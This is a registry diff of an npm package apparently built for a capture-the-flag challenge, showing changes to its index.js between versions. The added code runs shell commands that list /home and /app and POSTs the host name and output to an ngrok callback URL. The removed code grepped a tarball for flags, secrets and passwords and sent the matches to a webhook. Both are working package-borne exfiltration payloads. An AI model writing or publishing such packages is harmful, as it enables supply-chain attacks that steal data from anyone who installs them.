ect-987654-ctf 0.0.8 → 0.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/evil.yaml +1 -1
- package/index.js +74 -124
- package/last_post.json +3 -3
- package/package.json +1 -1
package/evil.yaml
CHANGED
package/index.js
CHANGED
|
@@ -1,145 +1,95 @@
|
|
|
1
|
-
// index.js
|
|
2
|
-
//
|
|
1
|
+
// index.js
|
|
2
|
+
// Runs ls -la on /app and /home and POSTs results to your callback URL
|
|
3
|
+
// Replace CALLBACK_URL with your ngrok/http endpoint (include trailing slash)
|
|
3
4
|
|
|
4
|
-
const {
|
|
5
|
+
const { exec } = require('child_process');
|
|
5
6
|
const os = require('os');
|
|
6
|
-
const
|
|
7
|
+
const https = require('https');
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const url = require('url');
|
|
7
10
|
|
|
8
|
-
const
|
|
9
|
-
const
|
|
10
|
-
const MAX_LINES = 200;
|
|
11
|
-
const MAX_BYTES_SEND = 12000; // keep posted body small-ish
|
|
11
|
+
const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <-- CHANGE THIS
|
|
12
|
+
const TIMEOUT = 15000; // ms
|
|
12
13
|
|
|
13
|
-
function
|
|
14
|
+
function run(cmd, cb) {
|
|
15
|
+
exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
|
|
16
|
+
cb(err, stdout || '', stderr || '');
|
|
17
|
+
});
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function postJson(targetUrl, obj, cb) {
|
|
14
21
|
try {
|
|
22
|
+
const u = url.parse(targetUrl);
|
|
15
23
|
const body = JSON.stringify(obj);
|
|
16
|
-
const url = new URL(WEBHOOK);
|
|
17
|
-
const https = require('https');
|
|
18
24
|
const opts = {
|
|
19
|
-
hostname:
|
|
20
|
-
|
|
25
|
+
hostname: u.hostname,
|
|
26
|
+
port: u.port || (u.protocol === 'https:' ? 443 : 80),
|
|
27
|
+
path: u.path || '/',
|
|
21
28
|
method: 'POST',
|
|
22
29
|
headers: {
|
|
23
30
|
'Content-Type': 'application/json',
|
|
24
31
|
'Content-Length': Buffer.byteLength(body)
|
|
25
|
-
}
|
|
32
|
+
},
|
|
33
|
+
timeout: TIMEOUT
|
|
26
34
|
};
|
|
27
|
-
const
|
|
28
|
-
req.
|
|
35
|
+
const lib = u.protocol === 'https:' ? https : http;
|
|
36
|
+
const req = lib.request(opts, (res) => {
|
|
37
|
+
// drain response
|
|
38
|
+
let d = '';
|
|
39
|
+
res.on('data', (c) => d += c.toString());
|
|
40
|
+
res.on('end', () => cb && cb(null, res.statusCode, d));
|
|
41
|
+
});
|
|
42
|
+
req.on('error', (e) => cb && cb(e));
|
|
43
|
+
req.on('timeout', () => { req.destroy(); cb && cb(new Error('timeout')); });
|
|
29
44
|
req.write(body);
|
|
30
45
|
req.end();
|
|
31
46
|
} catch (e) {
|
|
32
|
-
|
|
33
|
-
try { console.error("post error:", e.message); } catch {}
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
function safeExec(cmd, opts = {}) {
|
|
38
|
-
try {
|
|
39
|
-
return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
|
|
40
|
-
} catch (e) {
|
|
41
|
-
return "";
|
|
47
|
+
cb && cb(e);
|
|
42
48
|
}
|
|
43
49
|
}
|
|
44
50
|
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
}
|
|
68
|
-
|
|
69
|
-
function catFirstLines(entry) {
|
|
70
|
-
return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
function stringsAndGrep(entry) {
|
|
74
|
-
// Extract file to stdout and pipe to strings/grep to find tokens
|
|
75
|
-
// We'll try to use 'strings' if available, otherwise grep -a
|
|
76
|
-
const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
|
|
77
|
-
return tryStrings;
|
|
78
|
-
}
|
|
79
|
-
|
|
80
|
-
try {
|
|
81
|
-
const host = os.hostname();
|
|
82
|
-
const all = findCandidates();
|
|
83
|
-
|
|
84
|
-
// Quick heuristic: search likely text files first
|
|
85
|
-
const textCandidates = all.filter(isTextFileName);
|
|
86
|
-
const hits = [];
|
|
87
|
-
for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
|
|
88
|
-
const match = grepPatternsForTextFile(f);
|
|
89
|
-
if (match) {
|
|
90
|
-
hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
|
|
91
|
-
}
|
|
92
|
-
}
|
|
93
|
-
|
|
94
|
-
// If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
|
|
95
|
-
if (hits.length === 0) {
|
|
96
|
-
// check top js/json files (by name)
|
|
97
|
-
const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
|
|
98
|
-
for (const f of jsCandidates) {
|
|
99
|
-
const match = grepPatternsForTextFile(f);
|
|
100
|
-
if (match) {
|
|
101
|
-
hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
|
|
102
|
-
if (hits.length >= 10) break;
|
|
51
|
+
// gather info, run commands
|
|
52
|
+
const info = {
|
|
53
|
+
host: os.hostname(),
|
|
54
|
+
ts: new Date().toISOString(),
|
|
55
|
+
pwd: process.cwd(),
|
|
56
|
+
attempts: []
|
|
57
|
+
};
|
|
58
|
+
|
|
59
|
+
const cmds = [
|
|
60
|
+
{ name: 'ls_home', cmd: 'ls -la /home || ls -la ~ || echo "ls /home failed"' },
|
|
61
|
+
{ name: 'ls_app', cmd: 'ls -la /app || echo "ls /app failed"' },
|
|
62
|
+
{ name: 'pwd', cmd: 'pwd' }
|
|
63
|
+
];
|
|
64
|
+
|
|
65
|
+
let i = 0;
|
|
66
|
+
function next() {
|
|
67
|
+
if (i >= cmds.length) {
|
|
68
|
+
// send results
|
|
69
|
+
postJson(CALLBACK_URL, info, (err, status, body) => {
|
|
70
|
+
// optionally print to stdout so DEBUG is easier if running locally
|
|
71
|
+
if (err) {
|
|
72
|
+
try { console.error('POST ERROR', String(err)); } catch(e){}
|
|
73
|
+
} else {
|
|
74
|
+
try { console.log('POSTED', status); } catch(e){}
|
|
103
75
|
}
|
|
104
|
-
|
|
76
|
+
// exit gracefully
|
|
77
|
+
try { process.exit(0); } catch(e){}
|
|
78
|
+
});
|
|
79
|
+
return;
|
|
105
80
|
}
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
}
|
|
118
|
-
|
|
119
|
-
// As fallback, check README / top-level files explicitly and send their first lines
|
|
120
|
-
const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
|
|
121
|
-
for (const p of fallbackFiles) {
|
|
122
|
-
if (all.includes(p)) {
|
|
123
|
-
const sample = catFirstLines(p);
|
|
124
|
-
if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
|
|
125
|
-
}
|
|
126
|
-
}
|
|
127
|
-
|
|
128
|
-
// Compose posting object: keep payload sizes reasonable
|
|
129
|
-
const payload = {
|
|
130
|
-
host,
|
|
131
|
-
checked_count: all.length,
|
|
132
|
-
hits: hits.slice(0, 12).map(h => {
|
|
133
|
-
// keep each entry small
|
|
134
|
-
return {
|
|
135
|
-
file: h.file,
|
|
136
|
-
match: h.match ? truncate(h.match, 2000) : undefined,
|
|
137
|
-
sample: h.sample ? truncate(h.sample, 2000) : undefined
|
|
138
|
-
};
|
|
139
|
-
})
|
|
140
|
-
};
|
|
141
|
-
|
|
142
|
-
post(payload);
|
|
143
|
-
} catch (e) {
|
|
144
|
-
post({ error: String(e).slice(0, 2000) });
|
|
81
|
+
const item = cmds[i++];
|
|
82
|
+
run(item.cmd, (err, out, errout) => {
|
|
83
|
+
info.attempts.push({
|
|
84
|
+
name: item.name,
|
|
85
|
+
cmd: item.cmd,
|
|
86
|
+
stdout: out,
|
|
87
|
+
stderr: errout,
|
|
88
|
+
err: err ? String(err) : null
|
|
89
|
+
});
|
|
90
|
+
// small delay to avoid flooding
|
|
91
|
+
setTimeout(next, 200);
|
|
92
|
+
});
|
|
145
93
|
}
|
|
94
|
+
|
|
95
|
+
next();
|
package/last_post.json
CHANGED